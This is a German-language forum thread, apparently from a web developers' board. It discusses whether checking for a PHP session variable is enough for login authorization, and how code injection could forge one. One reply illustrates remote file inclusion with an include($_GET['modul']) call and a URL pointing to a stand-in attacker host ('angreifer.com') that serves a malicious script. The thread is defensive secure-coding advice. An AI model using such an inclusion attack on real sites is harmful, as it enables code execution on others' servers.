Sessions
Oliver Gilt
- php
Hallo
Bei meiner Frage geht es um Sessions:
Ist es sicher, durch das Vorhandensein einer Sessionvariable zu prüfen, ob jemand eingeloggt und somit für einen bestimmten Bereich autorisiert ist? Diese Sessionvariable wird normalerweise dadurch gesetzt, dass sich derjenige mit Username und Passwort einloggt. Wenn die Kombination aus Username und Passwort stimmt (Usernamen und Passwörter stehen in einer Datei), dann werden die Sessionvariablen USername und Passwort gesetzt. Also kann ich nun, bevor jemand einen geschützten Bereich betreten will, einfach nur überprüfen, ob die Sessionvariable Username vorhanden ist oder muss ich jedesmal neu prüfen, ob die Sessionvariablen Username und Passwort auch stimmen (z.B. weil man sich auch irgendwie anders eine Sessionvariable verschaffen kann).
MfG
Der Oliver
Hallo Oliver,
Also kann ich nun, bevor jemand einen geschützten Bereich betreten will, einfach nur überprüfen, ob die Sessionvariable Username vorhanden ist
Ja.
oder muss ich jedesmal neu prüfen, ob die Sessionvariablen Username und Passwort auch stimmen
Nein.
(z.B. weil man sich auch irgendwie anders eine Sessionvariable verschaffen kann).
Das sollte, sofern keine Sicherheitslücke in Deinen Scripten vorhanden ist, nicht möglich sein.
Christian
Danke für deine Antwort, Christian
(z.B. weil man sich auch irgendwie anders eine Sessionvariable verschaffen kann).
Das sollte, sofern keine Sicherheitslücke in Deinen Scripten vorhanden ist, nicht möglich sein.
Wie könnte denn solch eine Sicherheitslücke aussehen?
Oliver
Hallo Oliver,
Das sollte, sofern keine Sicherheitslücke in Deinen Scripten vorhanden ist, nicht möglich sein.
Wie könnte denn solch eine Sicherheitslücke aussehen?
Kurze Antwort: Wenn man das schon im Voraus sagen könnte, dann würde Software keine Sicherheitslücken mehr haben.
Lange Antwort:
Nunja, da gibt es mehrere Möglichkeiten.
Die vermutlich häufigste Möglichkeit wäre, dass der Besucher auf irgendeine Weise Code in Deine Scripte injizieren kann - denn dann könnte dieser Code Deine Session-Variable setzen. Beispielsweise könnte ein Besucher Dein Script veranlassen, den Code $_SESSION['user'] = 'namedesbenutzers'; auszuführen. (Oder halt ähnlich, je nachdem, wie Du Deine Session-Variable genannt hast) Hier stellt sich nun die Frage, wie so ein Angreifer Code »injizieren« könnte. Mir fallen zwei offensichtliche Methoden ein - es gibt aber bei weitem noch mehr. Die eine Methode wäre, dass Du an irgendeiner Stelle eval() verwendest und dort verwendete Variablen vom Benutzer kommen. Wenn Du Benutzervariablen, (also solche, die aus $_GET, $_POST oder $_COOKIE kommen) die Du in eval() verwendest, nicht vorher prüfst, dann kann somit beliebiger Code ausgeführt werden. Eine andere Möglichkeit wäre, dass Du include() mit dynamischen Dateien verwendest, also z.B. index.php?modul=datei.php - wenn Du an dieser Stelle ein include ($_GET['modul']); machst, dann wird in dem Fall datei1.php include()t, der Angreifer könnte jedoch auch index.php?modul=http://angreifer.com/boeses_script.txt aufrufen - und dann würde PHP automatisch das böse Script mit einbinden.
Wie gesagt: Prinzipiell kann man aber keine allgemeine Antwort geben, man muss den Code kennen, um potentielle Angriffsmöglichkeiten abschätzen zu können.
Sicherheit erreicht man am besten, indem man selbst versucht, seine eigene Software anzugreifen. Versuche Dich in einen Angreifer hineinzuversetzen und überlege, wie er etwas knacken könnte. Was vor allem ganz wichtig ist: Der Angreifer sollte _keine_ Chance haben, egal, ob er Deinen Code kennt, oder nicht. Denn »security through obscurity«, d.h. Sicherheit durch das Vertrauen darauf, dass niemad den Code kennt, funktioniert nicht.
Ein paar Tipps zum sicheren Programmieren: (wenn Du einiges davon nicht sowieso schon tust)
- schalte beim Entwickeln register_globals aus. So musst Du zwangsläufig
auf $_GET, $_POST, $_COOKIE, $_SESSION und $_SERVER zurückgreifen, dann
weißt Du aber auch _genau_, woher eine Variable kommt und woher nicht.
Siehe dazu: http://de3.php.net/manual/de/security.registerglobals.php
- Überprüfe jegliche Art von Eingaben, die Du bekommst, auf Plausibilität.
Unter http://de3.php.net/manual/de/security.php sind noch ein paar detailierte Informationen zum Thema zusammengestellt.
Christian
Moin!
- schalte beim Entwickeln register_globals aus. So musst Du zwangsläufig
auf $_GET, $_POST, $_COOKIE, $_SESSION und $_SERVER zurückgreifen, dann
weißt Du aber auch _genau_, woher eine Variable kommt und woher nicht.
Siehe dazu: http://de3.php.net/manual/de/security.registerglobals.php
Weils gerade so schön in den Kontext passt, will ich mit dieser Anweisung mal etwas aufräumen.
Die zusätzliche Sicherheit entsteht nicht, weil man auf $_GET & Co. zugreift, sondern weil register_globals abgeschaltet ist. Denn nur dann werden Userangaben in GET-, POST- oder Cookies nicht in den globalen Namensraum importiert.
Man kann aber noch so explizit auf seinem Entwicklungsserver auf $_GET etc. zugreifen - wenn der produktive Server beim Provider register_globals eingeschaltet ist, kann man sich immer noch tolle Sicherheitslücken einbauen, weil der Transfer von externen Daten in den globalen Variablenraum eben möglich ist.
Also: register_globals ausschalten ist das Wichtige (und die Verwendung von $_GET etc. damit erzwungen, aber im Prinzip nur nebensächlich).
Unter http://de3.php.net/manual/de/security.php sind noch ein paar detailierte Informationen zum Thema zusammengestellt.
Das, was da unter http://de3.php.net/manual/de/security.registerglobals.php an Beispielen steht, sieht für meine Augen auch noch nicht so wahnsinnig sicher aus, was sicherlich auch daran liegt, dass es um Authentifizierung geht, aber nirgendwo wirklich z.B. der Username geprüft wird. Die Beispiele dort sind also schlecht! Es ist nicht einsichtig, warum der Zugriff auf $_GET etc. irgendwelche weitere Sicherheit bringt. Denn auch Cookiedaten kann man als Angreifer manipulieren - sind ja schließlich nur Bestandteile des HTTP-Requests, ungeschützt, unverschlüsselt, benutzerdefiniert (im weitesten Sinne).
- Sven Rautenberg
Danke euch für die Hilfe!
register_globals habe ich schon ausgeschaltet. Das Kapitel über die Sicherheit im PHP-Manual werde ich mir auch noch durchlesen. So wie ich es jetzt verstanden habe, kann ich also einfach prüfen, ob z.B. die Session-Variable "username" oder "eingeloggt" existiert.
MfG
Der Oliver